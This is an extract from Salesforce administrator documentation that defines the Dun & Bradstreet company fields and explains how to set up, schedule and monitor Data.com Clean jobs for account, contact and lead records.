Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

Organizations that have purchased Data.com Premium have access to our complete set of Dun & Bradstreet (D&B) dataover 70 fields. When an account or lead record is added to Salesforce, a D&B Company record is automatically created and linked to that account via the records D&B Company field. This topic defines the fields youll see on D&B Company records. Note: Some D&B field labels are different from the object field labels they are mapped to. For example, the Account Site field on account records maps to the Location Type field on the linked D&B Company record. For a list of default mappings, see Default Data.com-to-Salesforce Field Mappings. on page 2703

916

D&B Company Administration

D&B Company Fields

Field
Annual Sales Volume

Description The total annual sales revenue in local currency. D&B tracks revenue data for publicly traded companies, Global Ultimates, Domestic Ultimates, and some headquarters. D&B does not supply this data for branch locations. The reliability of the Annual Sales Volume figure. Available values are Actual number, Low, Estimated (for all records), Modeled (for non-US records). A blank value indicates this data is unavailable. A brief description of the company, which may include information about its history, its products and services, and its influence on a particular industry. This data is supplied by Hoovers. The probability that a company will pay with a significant delay compared to the agreed terms. The risk level is based on the standard Commercial Credit Score, and ranges from low risk to high risk. Also known as marketing prescreen. Available values are High risk of delinquency, Low risk of delinquency, and Moderate risk of delinquency. D&B supplies this data for US organizations only. The primary name of the Domestic Ultimate, which is the highest ranking subsidiary, specified by country, within an organizations corporate structure. The D-U-N-S Number for the Domestic Ultimate, which is the highest ranking subsidiary, specified by country, within an organizations corporate structure. The Data Universal Numbering System (D-U-N-S) number is a unique, nine-digit number assigned to every business location in the D&B database that has a unique, separate, and distinct operation. D-U-N-S numbers are used by industries and organizations around the world as a global standard for business identification and tracking. The companys facsimile number. An additional NAICS code used to further classify an organization by industry. See Primary NAICS Code. A brief description of an organizations line of business, based on the corresponding NAICS code. See Primary NAICS Description. An additional SIC code used to further classify an organization by industry. See Primary SIC Code. A brief description of an organizations line of business, based on the corresponding SIC code. See Primary SIC Description. An additional tradestyle used by the organization. See Primary Tradestyle.

Annual Sales Volume Indicator

Company Description

Delinquency Risk

Domestic Ultimate Business Name

Domestic Ultimate D-U-N-S Number

D-U-N-S Number

Facsimile Number Fifth NAICS Code Fifth NAICS Description

Fifth SIC Code Fifth SIC Description Fifth Tradestyle

917

D&B Company Administration

D&B Company Fields

Field
FIPS MSA Code

Description The Federal Information Processing Standards (FIPS) and the Metropolitan Statistical Area (MSA) codes identify the organizations location. The MSA codes were defined and developed by the National Institute of Standards and Technology (NIST), an organization within the US Federal Department of Commerce. D&B supplies this data for US organizations only. A brief description of an organizations FIPS MSA code. D&B supplies this data for US organizations only. An additional NAICS code used to further classify an organization by industry. See Primary NAICS Code. A brief description of an organizations line of business, based on the corresponding NAICS code. See Primary NAICS Description. An additional SIC code used to further classify an organization by industry. See Primary SIC Code. A brief description of an organizations line of business, based on the corresponding SIC code. See Primary SIC Description. An additional tradestyle used by the organization. See Primary Tradestyle. The level of accuracy of a locations geographical coordinates compared with its physical address. Available values include Rooftop level, Street level, Block level, Census tract level, and Mailing address level. The primary name of the Global Ultimate, which is the highest entity within an organizations corporate structure and may oversee branches and subsidiaries. The D-U-N-S Number of the Global Ultimate, which is the highest entity within an organizations corporate structure and may oversee branches and subsidiaries. Identifies whether a business imports goods or services, exports goods or services, and/or is an agent for goods. The required code for international calls. The geographical coordinates that specify the north-south position of a point on the Earths surface. Used with longitude to specify a precise location, which is then used to assess the Geocode Accuracy. Identifies the legal structure of an organization. Available values include Cooperative, Nonprofit organization, Local government body, Partnership of unknown type, and Foreign company.

FIPS MSA Code Description Fourth NAICS Code Fourth NAICS Description

Fourth SIC Code Fourth SIC Description Fourth Tradestyle Geocode Accuracy

Global Ultimate Business Name

Global Ultimate D-U-N-S Number

Import/Export

International Dialing Code Latitude

Legal Structure

918

D&B Company Administration

D&B Company Fields

Field
Local Currency Code

Description The currency in which the companys sales volume is expressed. The full list of values can be found at the Optimizer Resources page maintained by D&B. The code used to represent a companys local currency. This data is provided by the International Organization for Standardization (ISO) and is based on their three-letter currency codes. For example, USD is the ISO code for United States Dollar. Indicates whether a company owns or rents the building it occupies. Identifies the organizational status of a company. Available values are Single location, Headquarters/Parent, and Branch. The geographical coordinates that specify the east-west position of a point on the Earths surface. Used with latitude to specify a precise location, which is then used to assess the companys Geocode Accuracy. The address where a company has its mail delivered. If the mailing address is the same as the primary address, this field will be blank. Twenty-two distinct, mutually exclusive profiles, created as a result of cluster analysis of D&B data for US organizations. Available values include High-Tension Branches of Insurance/Utility Industries, Rapid-Growth Large Businesses, Labor-Intensive Giants, Spartans, Main Street USA. D&B supplies this data for US organizations only. Indicates whether an organization is owned or controlled by a member of a minority group. D&B supplies this data for US organizations only. The identification number used in some countries for business registration and tax collection. This field does not apply to US organizations. Identifies the type of national identification number used. The full list of values can be found at the Optimizer Resources page maintained by D&B. The total number of family members, worldwide, within an organization, including the Global Ultimate, its subsidiaries (if any), and its branches (if any). The total number of employees at the Global Ultimate, which is the highest entity within an organizations corporate structure and may oversee branches and subsidiaries. The reliability of the Number of EmployeesGlobal figure. Available values are Actual number, Low, Estimated

Local Currency ISO Code

Location Ownership Indicator Location Type

Longitude

Mailing Address

Marketing Segmentation Cluster

Minority-Owned Indicator

National Identification Number

National Identification System

Number of Business Family Members

Number of EmployeesGlobal

Number of EmployeesGlobal Indicator

919

D&B Company Administration

D&B Company Fields

Field

Description
(for all records), Modeled (for non-US records). A blank value indicates this data is unavailable.

Number of EmployeesLocation Number of EmployeesLocation Indicator

The number of employees at a specified location, such as a branch location. The reliability of the Number of EmployeesLocation figure. Available values are Actual number, Low, Estimated (for all records), Modeled (for non-US records). A blank value indicates this data is unavailable. The total number of employees in the company, including all subsidiary and branch locations. This data is only available on records that have a value of Headquarter/Parent in the Location Type field. Indicates whether the company at the specified address has discontinued operations. Indicates whether ownership of the company is public or private. The subsidiaries of a publicly traded parent company will show a value of Private unless the subsidiaries are independently traded. The primary name of the parent or headquarters company. The D-U-N-S Number for the parent or headquarters. The address where a company is physically located. This field is Billing Address on account records. The primary or registered name of a company. The six-digit North American Industry Classification System (NAICS) code is the standard used by business and government to classify business establishments according to their economic activity for the purpose of collecting, analyzing, and publishing statistical data related to the US business economy. The full list of values can be found at the Optimizer Resources page maintained by D&B. A brief description of an organizations line of business, based on its NAICS code. The four-digit Standard Industrial Classification (SIC) code is used to categorize business establishments by industry. The full list of values can be found at the Optimizer Resources page maintained by D&B. A brief description of an organizations line of business, based on its SIC code. A name, different from its legal name, that an organization may use for conducting business. Similar to Doing business as or DBA. An additional NAICS code used to further classify an organization by industry. See Primary NAICS Code.

Number of EmployeesTotal

Out of Business Indicator Ownership Type Indicator

Parent Company Business Name Parent Company D-U-N-S Number Primary Address

Primary Business Name Primary NAICS Code

Primary NAICS Description Primary SIC Code

Primary SIC Description Primary Tradestyle

Second NAICS Code

920

D&B Company Administration

D&B Company Fields

Field
Second NAICS Description

Description A brief description of an organizations line of business, based on the corresponding NAICS code. See Primary NAICS Description. An additional SIC code used to further classify an organization by industry. See Primary SIC Code. A brief description of an organizations line of business, based on the corresponding SIC code. See Primary SIC Description. An additional tradestyle used by the organization. See Primary Tradestyle. An additional NAICS code used to further classify an organization by industry. See Primary NAICS Code. A brief description of an organizations line of business, based on the corresponding NAICS code. See Primary NAICS Description. An additional SIC code used to further classify an organization by industry. See Primary SIC Code. A brief description of an organizations line of business, based on the corresponding SIC code. See Primary SIC Description. Indicates whether the company is designated a small business as defined by the Small Business Administration of the US government. D&B supplies this data for US organizations only. The corresponding exchange for a companys ticker symbol. For example: NASDAQ or NYSE. Indicates whether a company is more than 50 percent owned by another organization. A companys primary telephone number. An additional NAICS code used to further classify an organization by industry. See Primary NAICS Code. A brief description of an organizations line of business, based on the corresponding NAICS code. See Primary NAICS Description. An additional SIC code used to further classify an organization by industry. See Primary SIC Code. A brief description of an organizations line of business, based on the corresponding SIC code. See Primary SIC Description. An additional tradestyle used by the organization. See Primary Tradestyle. The abbreviation used to identify publicly traded shares of a particular stock. Also known as the stock symbol. An organizations primary website address.

Second SIC Code Second SIC Description Second Tradestyle Sixth NAICS Code Sixth NAICS Description

Sixth SIC Code Sixth SIC Description Small Business Indicator

Stock Exchange Subsidiary Indicator Telephone Number Third NAICS Code Third NAICS Description

Third SIC Code Third SIC Description Third Tradestyle Ticker Symbol URL

921

Administering Data.com Clean

Data.com Product Suite Overview

Field
US Tax ID Number

Description The identification number for the company used by the Internal Revenue Service (IRS) in the administration of tax laws. Also referred to as Federal Taxpayer Identification Number. D&B supplies this data for US organizations only. Indicates whether a company is more than 50 percent owned or controlled by a woman. D&B supplies this data for US organizations only. The year the company was established or the year when current ownership or management assumed control of the company. D&B does not supply this data for branch locations.

Woman-Owned Indicator

Year Started

See Also:
D&B Companies Overview D&B Companies Overview Finding and Adding Accounts from Data.com When I add CRM records from Data.com, how do I know which field values have Data.com data?

ADMINISTERING DATA.COM CLEAN


Data.com Product Suite Overview
Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

Watch a Demo (3:19 minutes) Data.com is salesforce.coms solution for delivering leading business data inside your CRM. Your team can spend less time entering and updating data and more time growing your business. Data.com combines crowd-sourced contacts with account information from D&B, managed in the cloud, so you can keep your CRM clean and up to date in real time. Within Salesforce, you can search for Data.com accounts and contacts right on the Data.com tab, and if you have a Data.com license, you can add records to Salesforce. You can add your contact search results as either contacts or leads. It's remarkably easy to find the accounts and contacts you need, and using Data.com is a great way to plan your sales territories, segment campaigns, find new accounts to engage, and get new contacts to quickly expand your sales network. The Data.com product suite includes Data.com

922

Administering Data.com Clean

Data.com Product Suite Overview

Corporate and Data.com Premium, as well as related products Data.com Clean and Data.com Reports. This topic describes them all, and explains how they work together.

Data.com Corporate
With Data.com Corporate, all Salesforce users can search Data.com for accounts and contacts. Users with Data.com licenses can: Add accounts and contacts to Salesforce, and add contacts as leads. Add contacts for an account directly from the account record. Access the basic set of D&B fields provided for accounts and leads. Manually clean Salesforce account, contact, and lead records, whether they were added from Data.com or not.

Starting December 16, 2011, all organizations purchasing Data.com received the Data.com Corporate product. Organizations using previous versions have a limited set of fields. Data.com Premium licenses can not be purchased for Salesforce organizations that already have Data.com Corporate licenses. If you want to purchase Data.com Premium licenses, youll need to convert your Data.com Corporate licenses.

Data.com Premium
Data.com Premium is an upgrade to Data.com Corporate. With Premium, you get all the features and fields available in Corporate, plus over 70 additional D&B fields for accounts and leads you add to Salesforce from Data.com. These fields are grouped in a D&B Company record thats linked to the account or lead, and accessible on the D&B Companies tab. Data.com Corporate licenses can not be purchased for Salesforce organizations that already have Data.com Premium licenses. If you want to purchase Data.com Corporate licenses, youll need to convert your Data.com Premium licenses.

Data.com Clean
Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning for your account, contact, and lead records. To get automated cleaning, you must purchase Data.com Clean for every Salesforce user. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean Salesforce accounts, contacts, and leads, and you can configure jobs to flag field value differences on Salesforce records or automatically fill blank fields. If you use Data.com Premium, you can also use automated jobs to clean D&B records that are linked to accounts and leads.

Data.com Reports
Want to analyze the impact of Data.com data on your business? Use the Data.com Reports AppExchange package. It offers several preconfigured Data.com reports and a corresponding impact dashboard. Use these tools to find out how many records are sourced from Data.com, who has added them and when, and how they contribute to your sales forecast and revenue.

Important Considerations for Organizations Using Jigsaw for Salesforce


Jigsaw for Salesforce is an older version of the product that is no longer for sale. It provides similar search, add, and clean functionality, but it works differently from the Data.com product suite built in to Salesforce. The Salesforce online help and release notes describe the built-in Data.com Corporate, Data.com Premium, and Data.com Clean products only, not Jigsaw for Salesforce. If your organization is still using Jigsaw for Salesforce, you should consider migrating to the built-in Data.com product suite for your prospecting and cleaning needs. For information, please contact your Salesforce account manager. Important: You should not attempt to migrate to the built-in Data.com Clean product without having first purchased it through your Salesforce account manager. If you attempt to enable Data.com Clean without purchasing it, youll

923

Administering Data.com Clean

Data.com Clean Overview

see an error message: Your organization does not currently have the permission to run Clean jobs.

See Also:
Data.com Clean Overview Finding and Adding Accounts from Data.com Finding and Adding Contacts from Data.com Adding Data.com Contacts as Leads What product should my organization use to clean our account, contact, and lead records? How do I know which Data.com product my organization has?

Data.com Clean Overview


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

Data.com Clean is an important part of Salesforces Data.com product suite, offering both manual and automated cleaning for your account, contact, and lead records. To get automated cleaning, you must purchase Data.com Clean for every Salesforce user. Data.com Clean provides full clean capability for your organization: all Data.com Clean users can manually clean Salesforce accounts, contacts, and leads, and you can configure jobs to flag field value differences on Salesforce records or automatically fill blank fields. If you use Data.com Premium, you can also use automated jobs to clean D&B records that are linked to accounts and leads. Clean works by comparing your Salesforce account, contact, and lead records with records from Data.com, linking records that match, and providing clean status information on the Salesforce record. You can choose to implement Clean for accounts, contacts, and leads, and specify whether the clean process will flag differences between the two records, or also auto-fill blank Salesforce fields with Data.com values. Licensed Corporate and Premium users can also clean individual records manually, comparing their fields and values side by side with those from the linked Data.com record. Metrics and analytics provide detailed information about the value of Data.com Clean to your organization: see how many of your Salesforce records are matched to Data.com records, and how many have been updated by manual and automated clean processes.

See Also:
Cleaning Records Manually With Data.com Clean Understanding How Salesforce and Data.com Records are Matched What product should my organization use to clean our account, contact, and lead records?

924

Administering Data.com Clean

Implementing Data.com Clean

Implementing Data.com Clean


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com Clean: To enable Data.com Clean users: To install AppExchange packages: Customize Application Manage Users Download AppExchange Packages

Its easy to implement Data.com Clean. Just perform these tasks. 1. 2. 3. 4. 5. 6. Confirm that Data.com Clean is enabled.. Configure your account, contact, and lead page layouts with the buttons and fields you need. Update your field-level security so users see fields provided by D&B. Define your preferences for which records to clean and how to clean them.. Schedule your Clean jobs. Install the Data.com Reports package.

Once youve finished implementing Data.com Clean, to get the optimum benefit from the product, you should: Regularly review your Data.com Clean record match results to make sure records are matching as expected. Regularly monitor your organizations record match and update rates and take steps to improve those rates if necessary.

If youre using Data.com together with Data.com Clean, see Implementing Data.com on page 890. If you want the option to prevent Data.com Clean jobs from automatically updating select account, contact, or lead records, you can use the validation rule provided by Data.com Reports.

925

Administering Data.com Clean

Data.com Clean Product Enablement

Data.com Clean Product Enablement


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To enable or disable Data.com Clean: Customize Application

Data.com Clean ensures that your CRM records are always up to date. You can use Clean with all your account, contact, and lead recordsnot just those added from Data.com. When you purchase the Data.com Clean product, its automatically enabled for you so can set up automated Clean jobs and users can manually clean records. Enabling Clean makes clean features available to your organization and it causes the Preferences and Jobs links to appear within the Clean section of the Setup tree (Your Name > Setup > Data.com Administration > Clean). Note: Enabling Clean does not clean your records immediately, and you can click Disable to turn the feature off. 1. Click Your Name > Setup > Data.com Administration > Clean > Settings 2. Confirm that Data.com Clean is enabled.

See Also:
Implementing Data.com Clean

926

Administering Data.com Clean

Configuring Page Layouts for Data.com and Data.com Clean

Configuring Page Layouts for Data.com and Data.com Clean


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

When you implement Data.com and Data.com Clean, so that users can use the product, you need to add buttons and fields to your Account, Contact, and Lead page layouts. Heres how. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Accounts > Page Layouts. From the list of page layouts, click Edit next to the layout(s) your Clean users will use. On the Account Layout page, from the list of page element categories, click Fields. Drag the Clean Status field into place on the page where you want it to appear. If you use Data.com Corporate or Data.com Premium, add the D&B fields you want users to see. These include Account Site, D-U-N-S Number, NAICS Code, Tradestyle, and more. For a complete list of the D&B fields available on account records, see Account Fields. Tip: We recommend creating a section for D&B fields and grouping them there. To create a section, from the Fields group, just drag the Section element into place on the page. 6. If you use the Do Not Auto-Update validation rule provided in the Data.com Reports AppExchange package, add the Data.com Does Not Auto-Update field. 7. From the list of page element categories, click Buttons. Drag the Clean and Get Contacts buttons into place on the page. 8. Click Save. 9. Click Your Name > Setup > Customize > Leads > Page Layouts. 10. Repeat the steps to add the Clean Status field and the Clean button to your Lead page layouts. Also add the Company D-U-N-S and D&B Company fields. 11. If you use Data.com Premium, add the D&B fields you want users to see. Available fields are: Company D-U-N-S Number and D&B Company. 12. If you use the Do Not Auto-Update validation rule provided in the Data.com Reports AppExchange package, add the Data.com Does Not Auto-Update field. 13. Click Your Name > Setup > Customize > Contacts > Page Layouts. 14. Repeat the steps to add the Clean Status field and Clean button to your Contact page layouts. (Contacts does not include any D&B fields.)

927

Administering Data.com Clean

Setting Field-Level Security for Data.com

15. If you use the Do Not Auto-Update validation rule provided in the Data.com Reports AppExchange package, add the Data.com Does Not Auto-Update field. 16. If you use Data.com Premium, click Your Name > Setup > Customize > D&B Companies > Page Layouts. 17. Add the Search Global Ultimate D-U-N-S button.

See Also:
Preventing Data.com Clean Auto-Updates for Account, Contact, and Lead Records

Setting Field-Level Security for Data.com


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To set field-level security: Customize Application

If your organization uses Data.com Corporate or Data.com Premium, you can view a number of D&B fields on account records, and those fields are included when users manually clean records. To make sure your users can read and edit the fields and their values, and that they appear on the Account Card, you need to set field-level security (FLS) for:
Account Site D&B Company (Data.com Premium only) D-U-N-S Number NAICS Code NAICS Description Ownership SIC Code Ticker Symbol Tradestyle Year Started

There are multiple ways to set field-level security (such as by profile or permission set), but since you only need to set FLS for ten fields, we recommend starting from the fields and choosing the user profiles for users who use Data.com. 1. Click Your Name > Setup > Customize > Accounts > Fields. 2. Click the field label to open the detail page for each of the fields. 3. On each fields detail page, click Set Field-Level Security. For each profile whose users need to read and edit the fields, select the Visible checkbox. For example, if users in the Standard User profile will use Data.com Clean, select the Visible checkbox for that profile.

928

Administering Data.com Clean

Defining Your Data.com Clean Job Preferences (Data.com Clean Only)

Note: Because these fields are maintained by Data.com Clean, making them editable by setting the field-level security to Visible could create mismatched data when a Clean job is run.

Defining Your Data.com Clean Job Preferences (Data.com Clean Only)


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To define Data.com Clean Preferences: Customize Application

Clean preferences let you specify: Which objects records to clean with automated jobs How you want to clean them

Jobs can either: Flag all fields in a Salesforce record whose values are different from those in the matched Data.com record, or Flag fields with different values and also auto-fill blank fields

You can set flag-only or flag and auto-fill preferences for entire records or field by field. If you use Data.com Premium, you can also clean D&B Company records that are linked to accounts and leads. D&B Company clean jobs automatically fill or overwrite field values on D&B company records, but do not change data on linked account or lead records. Your preferences take effect when the next scheduled clean job runs, and users will see the flags, as appropriate, when they clean records manually. Note: Converted leads are excluded from Leads clean jobs.

1. Click Your Name > Setup > Data.comAdministration > Clean > Preferences. 2. Select the Enable Clean jobs checkbox for each object whose records you want to clean. (If you clear the Enable Clean jobs checkbox, automated jobs will not run for objects of that type.) 3. For each object youve enabled, select your clean preference.
Flag all differences per record to only identify fields whose values are different from Data.com values Flag differences and auto-fill blank fields to identify fields whose values are different and fill blank

fields with values from Data.com.


Customize settings field by field.

929

Administering Data.com Clean

Scheduling Data.com Clean Jobs (Data.com Clean Only)

4. If you select the Customize option for any object, you can select either Flag or Flag & Auto-Fill for individual fields. 5. If you want to clean D&B Company records, select the Enable Clean jobs for D&B Companies checkbox. 6. When you finish setting clean preferences for all the objects you want to clean, click Save.

See Also:
Scheduling Data.com Clean Jobs (Data.com Clean Only) Implementing Data.com Clean Cleaning Records Manually With Data.com Clean Converting Leads

Scheduling Data.com Clean Jobs (Data.com Clean Only)


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To schedule Data.com Clean jobs and view job history: Customize Application

To keep your records clean status up to date, schedule automated jobs to compare your records with Data.com. Jobs are queued according to your scheduling settings, and they run independently for accounts, contacts, and leads. If you schedule jobs for at least one day of the week, jobs will process all records of enabled CRM objects (accounts, contacts, and leads) once every two weeks, even if no records have changed. This is called a full sync. In between these full syncs, based on the schedule you select, jobs will process only records of enabled objects that have Not Compared clean status (likely because Salesforce records have changed since the previous job was run). This is called an incremental sync. D&B jobs run once per month and perform an incremental sync. Important: If you have set up Apex triggers to run when account, contact, or lead records are updated, and your triggers perform SOQL queries, the queries may interfere with automated Clean jobs for those objects. Your Apex triggers (combined) should not exceed 200 SOQL queries per batch. If they do, your Clean job for that object will fail. In addition, if your triggers are @future methods, they will be subject to a limit of 10 @future calls per batch. 1. Click Your Name > Setup > Data.com Administration > Clean > Jobs. 2. Select the days of the week when you want jobs to run. 3. Select your preferred start time. Note: Jobs run independently, so their exact start times may vary.

930

Administering Data.com Clean

Viewing Data.com Clean Job History

4. Click Save.

See Also:
Viewing Data.com Clean Job History Implementing Data.com Clean

Viewing Data.com Clean Job History


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To schedule Data.com Clean jobs and view job history: Customize Application

The Clean Jobs History table lists recent clean jobs and provides related details. If you schedule jobs for at least one day of the week, jobs will process all records of enabled CRM objects (accounts, contacts, and leads) once every two weeks, even if no records have changed. This is called a full sync. In between these full syncs, based on the schedule you select, jobs will process only records of enabled objects that have Not Compared clean status (likely because Salesforce records have changed since the previous job was run). This is called an incremental sync. If a job processes any recordswith or without errorswe provide a job log for you to view. Job logs provide details about the number of records processed and matching results, or errors the jobs encountered at either the batch or entity (record) level. Job logs are always produced after full syncs. We store job logs for seven days. Important: If you use the Do Not Auto-Update validation rule to prevent selected records from being automatically updated by Data.com Clean jobs, make sure you understand its effects on Clean job logs. The rule generates entries and related messages in job logs, but your jobs may generate other entries and errors, as well, so make sure you examine your job logs carefully. The validation rule is available in the Data.com Reports AppExchange package. We dont provide a Job Log link if no records were processed. 1. Click Your Name > Setup > Data.com Administration > Clean > Jobs. 2. View job details in the Clean Jobs History section. This table defines each column. Column Heading
Date Time Submitted

Definition The date the job was run. The time the job was submitted to the job queue. Jobs run independently, so this might not be the exact time the job was run.

931

Administering Data.com Clean

Viewing Data.com Clean Job History

Column Heading
Job Type

Definition The type of job: for Accounts, D&B Companies, Contacts, or Leads. The status of the job: Queued: the job is in the queue to run. For jobs in this status, the Time Submitted column displays a dash (). Preparing: the job is being prepared to run. Processing: the job is in process. Completed: the job has finished running (with or without errors). Failed: the job failed to run. Aborted: the job was aborted before or while it ran.

Job Status

Errors

The type of error or errors, if any, the job had while it ran. If a job encounters errors at the entity (record) level, youll see Update in this column. If the job encounters a batch error, youll see Batch. A dash indicates either no errors or no data. A link to the job log, if any, which is a .csv file you can download and open. This column displays a dash () if no job has run.

Job Log

3. If the job processed one or more records, with or without errors, you can click the View link in the Job Log column to download the job log .csv file. The first four columns provide data about the number of records processed and the match results. The last four provide information about batch and entity (record) errors, if any. If the job had a batch error, youll see a single line with details. If the job had entity errors, each record that produced an error will appear on its own line. Column Heading
Records in batch Matched count

Definition and Troubleshooting Guidelines The number of Salesforce records processed by the job. The number of Salesforce records matched to Data.com records during the job. The number of Salesforce records not matched to Data.com records during the job. The number of Salesforce records matched to inactive Data.com records. The explanation of a batch error, if any. Batch indicates a batch error. Entity indicates an entity error.

Unmatched count

Inactive count

Batch error Error

932

Administering Data.com Clean

Understanding How Salesforce and Data.com Records are Matched

Column Heading
Entity ID

Definition and Troubleshooting Guidelines The unique ID of a record that produced an error during the job. To open the record, append the 15-digit ID to the URL of your salesforce instance. For example:
https://na1.salesforce.com/0013000000hKBTq.

Entity error

An explanation of any entity error that was produced because a record failed to savefor example, because of a validation rule failure. Entity errors usually result from validation rule failures or required field violation. If an explanation exists, it will appear.

See Also:
Scheduling Data.com Clean Jobs (Data.com Clean Only) Implementing Data.com Clean

Understanding How Salesforce and Data.com Records are Matched


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

If you clean your Salesforce account, contact, and lead data with Data.com Clean, its important to understand how your Salesforce records are compared and matched with records from Data.com. Tip: For complete details about how the Data.com matching algorithm works, including a graphic overview and extensive examples, please see our white paper, Data.com Record Matching in Salesforce. Salesforce and Data.com records can be compared and matched in two ways. Manually, when a user clicks Clean on an individual account, contact, or lead record. Via Clean jobs, which automatically attempt to match all your account, contact, or lead records.

Automated clean jobs are only available to organizations that purchase Data.com Clean. Manual clean is available to all licensed Data.com users. The first time a Salesforce record is cleanedeither manually or via automated jobthe matching engine searches Data.com for similar records. It examines the field values in each record and looks for enough identical or similar information to indicate that the two records represent the same entity (that isthe same account, contact, or lead). If Data.com finds a match, the

933

Administering Data.com Clean

Understanding How Salesforce and Data.com Records are Matched

two records are linked by a numeric value in the Data.com Key field. The Data.com Key value is rematched every time the Salesforce record is cleaned. If the Salesforce record changes substantially, the next time it is cleaned, the matching engine may look for a better match from other Data.com records. For contacts and leads, the important fields are:
Name Email

Ideally, use a direct email address rather than a group address like info@org.com. (Identical Email values will almost always trigger a match unless other values in the record conflict.) Note: Data.com does not store emails that may be personal contact information, such as those from Gmail or Yahoo.
Account Name for contacts; Company for leads. Title Phone

For accounts, the important fields are:


Account Name

Make sure the account name doesn't contain any unrelated artifacts, such as numbers (1002), special characters (!#@#), or unrelated words. (These symbols are acceptable if they are part of the companys name.) Try to avoid country and state names as values unless they are part of the companys name. If the account name contains more than one word, like DSGI Business (PC World Business) try both of them. If an account name is also a Website (like salesforce.com), try leaving off the subdomain (.com and the like).
Billing Address

Use a full address if possible Make sure the Country field value is correct. If you dont know the country, leave the field blank. Make sure to specify the State or ZIP code value if you know it. If you know the accounts street name but not its street number, use the street name only. A street name without a street number is better than no value.
Website Phone

See Also:
Best Practices for Data.com Clean Viewing Your Data.com Clean Record Match Rates Understanding Data.com Clean Status Understanding Data.com User Types, Licenses, and Limits D&B Company Fields Understanding Data.com-to-Salesforce Custom Field Mapping

934

Administering Data.com Clean

Viewing Your Data.com Clean Record Match Rates

Viewing Your Data.com Clean Record Match Rates


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To view Data.com Clean match rates: Customize Application

If you clean account, contact, or lead recordsmanually with Data.com or automatically with Data.com Cleanits important that you check your match and update rates on a regular basis. 1. Click Your Name > Setup > Data.com Administration > Clean > Metrics & Analytics. 2. To find out when the last calculation occurred, check the Last Calculated field above the table. Note: The data in the tables is calculated daily, but we store the time and calculate the date based on GMT, so depending on time adjustments, the date shown may be different from the date when the calculations occurred. Also, because this data is calculated once per day, it may differ slightly from the data in Data.com dashboards and reports. 3. View match and update information in the Match and Update Rates section. Here are the definitions for the table columns. Column
Records

Definition The object enabled for Data.com Clean: accounts, contacts, or leads. The number of object records (accounts, contacts, or leads) that your organization has in Salesforce. The number of Salesforce records of each type (accounts, contacts, or leads) processed by Data.com Clean. The number of processed Salesforce records (accounts, contacts, or leads) that match with Data.com records. The number of matched Salesforce records that have been updated either manually or via automated jobs since your organization implemented Data.com Clean.

Total

Processed

Matched

Updated

Column
Records

Definition The object enabled for Data.com Clean: accounts, contacts, or leads.

935

Administering Data.com Clean

Reviewing Data.com Clean Match Results

Column
Match Rate (% of Processed)

Definition The percentage of processed Salesforce records (accounts, contacts, or leads) that match with Data.com records. The percentage of matched Salesforce records that have been updated either manually or via automated jobs since your organization implemented Data.com Clean.

Update Rate (% of Matched)

See Also:
Understanding How Salesforce and Data.com Records are Matched Implementing Data.com Clean

Reviewing Data.com Clean Match Results


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com Clean: Customize Application

